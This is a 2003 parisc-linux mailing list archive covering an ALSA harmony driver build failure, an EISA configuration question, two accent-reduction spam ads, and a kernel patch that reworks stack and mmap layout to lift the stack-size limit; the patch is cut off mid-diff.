Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18904

On Sat, 12 Jul 2003 09:21:54 +0200
R=FCdiger Scholz <rscholz@hrzpub.tu-darmstadt.de> wrote:

> Hi there!
>=20
> Had anyone success compiling a kernel with sound support enabled? If  I=20
> enable the ALSA harmony driver, I get a lot of errors during compile:
>=20
> ---------------SNIP-------------
>=20
>       LD      sound/isa/wavefront/built-in.o
>       LD      sound/isa/built-in.o
>       CC      sound/parisc/harmony.o
>     sound/parisc/harmony.c:80:21: asm/gsc.h: Datei oder Verzeichnis
>     nicht gefunden
>=20
> ---------------SNAP-------------
>=20
> The compiler didn't find the file "asm/gsc.h" (first error message:=20
> "Datei oder Verzeichnis nicht gefunden"). But if I put there the right=20
> path to gsc.h it won't compile either.
> Any hints to make some noise with a 2.5-kernel?
>   =20

I guess that a part of the answer stands there:

http://cvs.parisc-linux.org/linux-2.5/include/asm-parisc/Attic/gsc.h
Revision 1.5 , Fri Nov 1 01:04:30 2002 UTC (8 months, 1 week ago) by willy
Move gsc_read,write[bwl] to asm/io.h.  Move drivers/parisc/busdevice.h
to drivers/parisc/gsc.h.  Move the rest of include/asm-parisc/gsc.h
to drivers/parisc/gsc.h.  Edit dozens of files to remove the include
of <asm/gsc.h>

I tried to reproduce, correcting the path to gsc.h, and here's what
happened:

  CC      sound/parisc/harmony.o
sound/parisc/harmony.c: In function `snd_card_harmony_playback_open':
sound/parisc/harmony.c:712: structure has no member named `dma_private'
sound/parisc/harmony.c:713: structure has no member named `dma_type'
sound/parisc/harmony.c:713: `SNDRV_PCM_DMA_TYPE_PCI' undeclared (first use
in this function)
sound/parisc/harmony.c:713: (Each undeclared identifier
is reported only once sound/parisc/harmony.c:713: for each function it
appears in.)
sound/parisc/harmony.c: In function `snd_card_harmony_capture_open':
sound/parisc/harmony.c:736: structure has no member named `dma_private'
sound/parisc/harmony.c:737: structure has no member named `dma_type'
sound/parisc/harmony.c:737:`SNDRV_PCM_DMA_TYPE_PCI' undeclared (first use
in this function)
sound/parisc/harmony.c: In function `snd_card_harmony_hw_params':
sound/parisc/harmony.c:784: warning: unused variable `runtime'
sound/parisc/harmony.c: In function`snd_card_harmony_pcm_init':
sound/parisc/harmony.c:827: warning: passing arg 2 of `request_irq' from
incompatible pointer type
sound/parisc/harmony.c: In function`snd_card_harmony_create':
sound/parisc/harmony.c:1033: warning: implicit declaration of
function`ccio_get_fake'
sound/parisc/harmony.c:1033: warning: assignment makes pointer from
integer without a cast
sound/parisc/harmony.c: At top level:
include/sound/initval.h:140: warning: `get_id' defined but not used
make[2]:***[sound/parisc/harmony.o] Error 1

Since I've not closely followed the last change made to 2.5, I cannot tell
right now what's wrong. Maybe willy can give us some hints there? ;)
Laurent Canet, which is the author of this driver, is currently on
vacation (as I'm supposed to be, btw ;P) so don't expect any help from him
before a little while.

I'll have a closer look and try to find out what's wrong.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Andrews <mandrews@nomore-accents.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] - Are you learning ESL or TESL?
Date: Sat, 12 Jul 2003 08:42:54 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20030712134301.3412A482A@dsl2.external.hp.com>
Reply-To: mandrews@nomore-accents.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="23c14b85-3774-4bd1-84c2-45d79451d506"
X-Trace: ger.gmane.org 1416622588 27828 80.91.229.3 (22 Nov 2014 02:16:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 07:43:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from nomore-accents1236.com (24-136-31-90.na.21stcentury.net [24.136.31.90])
	by dsl2.external.hp.com (Postfix) with SMTP id 3412A482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jul 2003 07:43:01 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18905

This is a multi-part message in MIME format
--23c14b85-3774-4bd1-84c2-45d79451d506
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear Reader,

No More Accent is an accent reduction product, which helps to remove accents. =
For example, an Asian lady (or any nationality) may have communication =
problems with her English when speaking to her work mates or friends.

With that in mind, No More Accent teaches Accent Reduction methodologies to =
help in this area. In fact, No More Accent can be used in almost any =
situation where an accent reduction is required. Even Actors within the =
Entertainment Industry have turned to No More Accent as a way to lose or gain =
an accent of another nationality.

No More Accent is available in two versions, CD-ROM and VHS Cassette Tape =
(PAL and NTSC formats) both can be purchased directly via the =
www.nomore-accents.com website.
If you would like further information about our products or services, please =
contact myself 
when you have a moment.

Best Wishes...

Martin Andrews
Marketing Co-ordinator

http://www.nomore-accents.com

Your #1 Resource for Accent Reduction!    
--23c14b85-3774-4bd1-84c2-45d79451d506--



From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound in 2.5
Date: Sat, 12 Jul 2003 14:55:22 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20030712135522.GR20424@parcelfarce.linux.theplanet.co.uk>
References: <3F0FB712.7060702@hrzpub.tu-darmstadt.de> <20030712143418.37631a6c.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622588 27834 80.91.229.3 (22 Nov 2014 02:16:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:28 +0000 (UTC)
Cc: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 07:55:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCDF7482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Jul 2003 07:55:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19bKqQ-0003Ey-Og; Sat, 12 Jul 2003 14:55:22 +0100
Content-Disposition: inline
In-Reply-To: <20030712143418.37631a6c.varenet@esiee.fr>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18906

On Sat, Jul 12, 2003 at 02:34:18PM +0200, Thibaut VARENE wrote:
> I guess that a part of the answer stands there:
> 
> http://cvs.parisc-linux.org/linux-2.5/include/asm-parisc/Attic/gsc.h
> Revision 1.5 , Fri Nov 1 01:04:30 2002 UTC (8 months, 1 week ago) by willy
> Move gsc_read,write[bwl] to asm/io.h.  Move drivers/parisc/busdevice.h
> to drivers/parisc/gsc.h.  Move the rest of include/asm-parisc/gsc.h
> to drivers/parisc/gsc.h.  Edit dozens of files to remove the include
> of <asm/gsc.h>

Yeah.  But where did sound/parisc/harmony.c come from?  The first thing
I saw of it was when it was added to Linux 2.5.71.  I assumed one of
you guys had been working on it.

>   CC      sound/parisc/harmony.o
> sound/parisc/harmony.c: In function `snd_card_harmony_playback_open':
> sound/parisc/harmony.c:712: structure has no member named `dma_private'
> sound/parisc/harmony.c:713: structure has no member named `dma_type'
> sound/parisc/harmony.c:713: `SNDRV_PCM_DMA_TYPE_PCI' undeclared (first use
> in this function)

static int snd_card_harmony_playback_open(snd_pcm_substream_t * substream)
        substream->dma_private = harmony->fake_pci_dev;
        substream->dma_type = SNDRV_PCM_DMA_TYPE_PCI;

I dunno, this all looks like sound junk to me.

I have no idea what glue the person who wrote this driver is on:

 * (note that some machines -712 for ex.- don't implement DMA consistent
 * memory, so we will need to use kmalloc instead)

712 implements DMA consistent memory.  715/33 doesn't, for example.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan Sporbeck <jan_lists@sporbeck-family.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] eisa configuration howto?
Date: Sat, 12 Jul 2003 17:19:37 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <3F102709.10403@sporbeck-family.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622589 27835 80.91.229.3 (22 Nov 2014 02:16:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 09:18:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.sporbeck-family.de (pD9E1DC06.dip.t-dialin.net [217.225.220.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3975F482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Jul 2003 09:18:04 -0600 (MDT)
Original-Received: from [192.168.100.101] (helo=sporbeck-family.de)
	by mailhost.sporbeck-family.de with esmtp (Exim 4.14)
	id 19bMAQ-0000Yf-VN
	for parisc-linux@lists.parisc-linux.org; Sat, 12 Jul 2003 17:20:06 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: en-us, en
X-Spam-Score: -0.1 (/)
X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19bMAQ-0000Yf-VN*m.cql3NZ3RE*
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18907

Hello,
Iam trying to get an additional esia scsi controller to work on my 
9000/801/d200.

But i am stuck with the eisa configuration.
Where do I register eisa cards?
-Ive only done that on intel before, there was an userspace programm..


while booting, I get:

EISA slot 1: HWP0C80 EISA IRQ 3 memory fc0d8000-fc0e0000
EISA slot 2 id mis-match: got ADP7771 expected ___FFFF

the controler is in slot 2.

Is there any linux/ parisc eisa howto?

what am I missing?


thanks,
jan.



From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Andrews <mandrews@no-more-accent.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Are YOU learning English...?
Date: Sat, 12 Jul 2003 11:16:23 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20030712161629.CD906482A@dsl2.external.hp.com>
Reply-To: mandrews@no-more-accent.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="bb3f19c0-c1ff-4116-aab7-213253fcdf73"
X-Trace: ger.gmane.org 1416622589 27840 80.91.229.3 (22 Nov 2014 02:16:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 10:16:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from no-more-accent588.com (24-136-31-90.na.21stcentury.net [24.136.31.90])
	by dsl2.external.hp.com (Postfix) with SMTP id CD906482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jul 2003 10:16:29 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18908

This is a multi-part message in MIME format
--bb3f19c0-c1ff-4116-aab7-213253fcdf73
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear Reader,

No More Accent is an accent reduction product, which helps to remove accents. =
For example, an Asian lady (or any nationality) may have communication =
problems with her English when speaking to her work mates or friends.

With that in mind, No More Accent teaches Accent Reduction methodologies to =
help in this area. In fact, No More Accent can be used in almost any =
situation where an accent reduction is required. Even Actors within the =
Entertainment Industry have turned to No More Accent as a way to lose or gain =
an accent of another nationality.

No More Accent is available in two versions, CD-ROM and VHS Cassette Tape =
(PAL and NTSC formats) both can be purchased directly via the =
www.no-more-accent.com website.
If you would like further information about our products or services, please =
contact myself 
when you have a moment.

Best Wishes...

Martin Andrews
Marketing Co-ordinator

http://www.no-more-accent.com

Your #1 Resource for Accent Reduction!    
--bb3f19c0-c1ff-4116-aab7-213253fcdf73--



From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] fix arbitrary limits on stack size
Date: 12 Jul 2003 12:15:41 -0500
Lines: 283
Approved: news@gmane.org
Message-ID: <1058030142.2314.23.camel@fuzzy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-Rs/BluSNFJbI4v6u+UK/"
X-Trace: ger.gmane.org 1416622589 27843 80.91.229.3 (22 Nov 2014 02:16:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 11:15:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (unknown [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 903D9482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jul 2003 11:15:49 -0600 (MDT)
Original-Received: from fuzzy-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h6CHFgI07593
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jul 2003 13:15:42 -0400
X-Mailer: Ximian Evolution 1.0.3.99 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18909

--=-Rs/BluSNFJbI4v6u+UK/
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

One of the problems with the PA linux implementation is the upward
growing stack.  On most architectures, the virtual process space is
divided into


| unmapped | exec and heap |  mappings and stack |
                   TASK_UNMAPPED_BASE        TASK_SIZE


The mappings grow up from the start and the stack grows down from the
end of the area. If they ever meet, the process segfaults.

On palinux, we have an upward growing stack, so we have to size the
stack so when it reaches its ulimit, it hits the top of the area.  This
means that large stack limits cut into the mappable area (and also that
we have to impose a hard limit of 1GB on the stack size otherwise the
user could remove the ability to map processes entirely by setting the
stack limit too high).

The proposal to fix this is to start the stack growing upwards from
TASK_UNMAPPED_BASE and have the mappings grow downwards from TASK_SIZE. 
This should allow us to behave in exactly the same manner as x86 and not
have an arbitrary limit on the stack size.

The attached patch (against 2.5.70-pa1) does this, if you'd like to
comment on it or try it out.

James



--=-Rs/BluSNFJbI4v6u+UK/
Content-Disposition: inline; filename=tmp.diff
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; NAME=tmp.diff; CHARSET=ISO-8859-1

=3D=3D=3D=3D=3D arch/parisc/kernel/sys_parisc.c 1.8 vs edited =3D=3D=3D=3D=
=3D
--- 1.8/arch/parisc/kernel/sys_parisc.c	Mon Mar 17 19:15:27 2003
+++ edited/arch/parisc/kernel/sys_parisc.c	Sat Jul 12 10:51:09 2003
@@ -26,22 +26,59 @@
 	return error;
 }
=20
+/* Routine to find unshared mappings.  If we cannot satisfy the
+ * address and length exactly, we start at the top of memory and check
+ * down.  Since the vm_area_struct is designed for a forward search,
+ * not a backward one, we cache the address of the lowest assigned
+ * mapping in current->mm->free_area_cache.
+ */
 static unsigned long get_unshared_area(unsigned long addr, unsigned long l=
en)
 {
 	struct vm_area_struct *vma;
+	struct vm_area_struct *prev_vma;
=20
-	if (!addr)
-		addr =3D TASK_UNMAPPED_BASE;
-	addr =3D PAGE_ALIGN(addr);
+	if (len > TASK_FREE_AREA_CACHE)
+		return -ENOMEM;
=20
-	for (vma =3D find_vma(current->mm, addr); ; vma =3D vma->vm_next) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (TASK_SIZE - len < addr)
-			return -ENOMEM;
-		if (!vma || addr + len <=3D vma->vm_start)
+	/* quick check to see if we can satisfy the fixed address */
+	if (addr && (addr &=3D PAGE_MASK), TASK_SIZE - len <=3D addr) {
+		vma =3D find_vma_prev(current->mm, addr, &prev_vma);
+		if ((!vma || addr + len <=3D vma->vm_start)
+		    && (!prev_vma || addr >=3D prev_vma->vm_end)) {
+			printk("FIXED AREA MAP AT %lx-%lx\n",
+			       addr, addr+len);
 			return addr;
-		addr =3D vma->vm_end;
+		}
+	}
+
+	/* start from the lowest cached address */
+	addr =3D (current->mm->free_area_cache - len) & PAGE_MASK;
+=09
+	for(;;) {
+		if (addr < TASK_UNMAPPED_BASE)
+			goto err;
+
+		vma =3D find_vma_prev(current->mm, addr, &prev_vma);
+		=09
+
+		/* At this point:  (!vma || addr < vma->vm_end). */
+		if ((!vma || addr + len <=3D vma->vm_start)
+		    && (!prev_vma || addr >=3D prev_vma->vm_end))
+				goto found;
+
+		/* OK, go backwards one mapping and try again */
+		if(vma)
+			addr =3D (vma->vm_start - len) & PAGE_MASK;
+		else
+			addr =3D (prev_vma->vm_start - len) & PAGE_MASK;
+
 	}
+ found:
+	current->mm->free_area_cache =3D addr;
+	return addr;
+ err:
+	printk("RETURNING -ENOMEM\n");
+	return -ENOMEM;
 }
=20
 #define DCACHE_ALIGN(addr) (((addr) + (SHMLBA - 1)) &~ (SHMLBA - 1))
@@ -49,26 +86,50 @@
 static unsigned long get_shared_area(struct inode *inode, unsigned long ad=
dr,
 		unsigned long len, unsigned long pgoff)
 {
-	struct vm_area_struct *vma, *first_vma;
+	struct vm_area_struct *vma, *first_vma, *prev_vma;
 	int offset;
=20
 	first_vma =3D list_entry(inode->i_mapping->i_mmap_shared.next, struct vm_=
area_struct, shared);
 	offset =3D (first_vma->vm_start + ((pgoff - first_vma->vm_pgoff) << PAGE_=
SHIFT)) & (SHMLBA - 1);
=20
-	if (!addr)
-		addr =3D TASK_UNMAPPED_BASE;
+	if (addr && (addr =3D DCACHE_ALIGN(addr - offset) + offset),
+	    TASK_SIZE - len <=3D addr) {
+		vma =3D find_vma_prev(current->mm, addr, &prev_vma);
+		if ((!vma || addr + len <=3D vma->vm_start)
+		    && (!prev_vma || addr >=3D prev_vma->vm_end)) {
+			printk("SHARED FIXED AREA MAP AT %lx-%lx\n",
+			       addr, addr+len);
+			return addr;
+		}
+	}
+
+	addr =3D (current->mm->free_area_cache - len) & PAGE_MASK;
 	addr =3D DCACHE_ALIGN(addr - offset) + offset;
=20
-	for (vma =3D find_vma(current->mm, addr); ; vma =3D vma->vm_next) {
+	for(;;) {
+		if (addr < TASK_UNMAPPED_BASE)
+			goto err;
+
+		vma =3D find_vma_prev(current->mm, addr, &prev_vma);
+
 		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (TASK_SIZE - len < addr)
-			return -ENOMEM;
-		if (!vma || addr + len <=3D vma->vm_start)
-			return addr;
-		addr =3D DCACHE_ALIGN(vma->vm_end - offset) + offset;
-		if (addr < vma->vm_end) /* handle wraparound */
-			return -ENOMEM;
+		if ((!vma || addr + len <=3D vma->vm_start)
+		    && (!prev_vma || addr >=3D prev_vma->vm_end))
+			goto found;
+
+		if(vma)
+			addr =3D (vma->vm_start - len) & PAGE_MASK;
+		else
+			addr =3D (prev_vma->vm_start - len) & PAGE_MASK;
+
+		addr =3D DCACHE_ALIGN(addr - offset) + offset;
 	}
+ found:
+	printk("SHARED RETURNING ADDR %lx\n", addr);
+	return addr;
+ err:
+	printk("SHARED RETURNING -ENOMEM\n");
+	return -ENOMEM;
 }
=20
 unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr=
,
=3D=3D=3D=3D=3D fs/binfmt_aout.c 1.16 vs edited =3D=3D=3D=3D=3D
--- 1.16/fs/binfmt_aout.c	Sat Feb 15 21:30:17 2003
+++ edited/fs/binfmt_aout.c	Fri Jul 11 18:17:28 2003
@@ -308,7 +308,7 @@
 		(current->mm->start_data =3D N_DATADDR(ex));
 	current->mm->brk =3D ex.a_bss +
 		(current->mm->start_brk =3D N_BSSADDR(ex));
-	current->mm->free_area_cache =3D TASK_UNMAPPED_BASE;
+	current->mm->free_area_cache =3D TASK_FREE_AREA_CACHE;
=20
 	current->mm->rss =3D 0;
 	current->mm->mmap =3D NULL;
=3D=3D=3D=3D=3D fs/binfmt_elf.c 1.49 vs edited =3D=3D=3D=3D=3D
--- 1.49/fs/binfmt_elf.c	Wed Jul  2 11:08:30 2003
+++ edited/fs/binfmt_elf.c	Fri Jul 11 18:17:15 2003
@@ -635,7 +635,7 @@
 	/* Do this so that we can load the interpreter, if need be.  We will
 	   change some of these later */
 	current->mm->rss =3D 0;
-	current->mm->free_area_cache =3D TASK_UNMAPPED_BASE;
+	current->mm->free_area_cache =3D TASK_FREE_AREA_CACHE;
 	retval =3D setup_arg_pages(bprm);
 	if (retval < 0) {
 		send_sig(SIGKILL, current, 0);
=3D=3D=3D=3D=3D fs/exec.c 1.92 vs edited =3D=3D=3D=3D=3D
--- 1.92/fs/exec.c	Thu Jul 10 10:56:33 2003
+++ edited/fs/exec.c	Fri Jul 11 20:30:50 2003
@@ -375,11 +375,8 @@
 	/* Adjust bprm->p to point to the end of the strings. */
 	bprm->p =3D PAGE_SIZE * i - offset;
=20
-	/* Limit stack size to 1GB */
-	stack_base =3D current->rlim[RLIMIT_STACK].rlim_max;
-	if (stack_base > (1 << 30))
-		stack_base =3D 1 << 30;
-	stack_base =3D PAGE_ALIGN(STACK_TOP - stack_base);
+
+	stack_base =3D PAGE_ALIGN(TASK_UNMAPPED_BASE);
=20
 	mm->arg_start =3D stack_base;
 	arg_size =3D i << PAGE_SHIFT;
=3D=3D=3D=3D=3D include/asm-parisc/processor.h 1.11 vs edited =3D=3D=3D=3D=
=3D
--- 1.11/include/asm-parisc/processor.h	Mon Jun 23 10:25:25 2003
+++ edited/include/asm-parisc/processor.h	Sat Jul 12 11:00:45 2003
@@ -41,6 +41,13 @@
 #define TASK_UNMAPPED_BASE      (current->thread.map_base)
 #define DEFAULT_MAP_BASE        (0x40000000UL)
=20
+/* This defines the start of the cached area for the downward growing
+ * maps.  NOTE: The elf interpreter seems to insist on having a fixed
+ * mapping address just above the text for its data and other
+ * allocations, so space must be left for that between this and the
+ * end of usable memory (TASK_SIZE) */
+#define TASK_FREE_AREA_CACHE	(TASK_SIZE-0x800000)
+
 #ifndef __ASSEMBLY__
=20
 /*
=3D=3D=3D=3D=3D include/linux/mm.h 1.124 vs edited =3D=3D=3D=3D=3D
--- 1.124/include/linux/mm.h	Sun Jul  6 15:23:51 2003
+++ edited/include/linux/mm.h	Sat Jul 12 11:11:39 2003
@@ -30,6 +30,14 @@
 #define MM_VM_SIZE(mm)	TASK_SIZE
 #endif
=20
+/* This defines the value current->mm->free_area_cache will be set to
+ * for every new process.  If you define your own
+ * arch_get_unmapped_area() you may override this in
+ * asm/processor.h */
+#ifndef TASK_FREE_AREA_CACHE
+#define TASK_FREE_AREA_CACHE	TASK_UNMAPPED_BASE
+#endif
+
 /*
  * Linux kernel virtual memory manager primitives.
  * The idea being to have a "virtual" mm in the same way
=3D=3D=3D=3D=3D kernel/fork.c 1.130 vs edited =3D=3D=3D=3D=3D
--- 1.130/kernel/fork.c	Sat Jul  5 01:52:49 2003
+++ edited/kernel/fork.c	Fri Jul 11 18:16:41 2003
@@ -262,7 +262,7 @@
 	mm->locked_vm =3D 0;
 	mm->mmap =3D NULL;
 	mm->mmap_cache =3D NULL;
-	mm->free_area_cache =3D TASK_UNMAPPED_BASE;
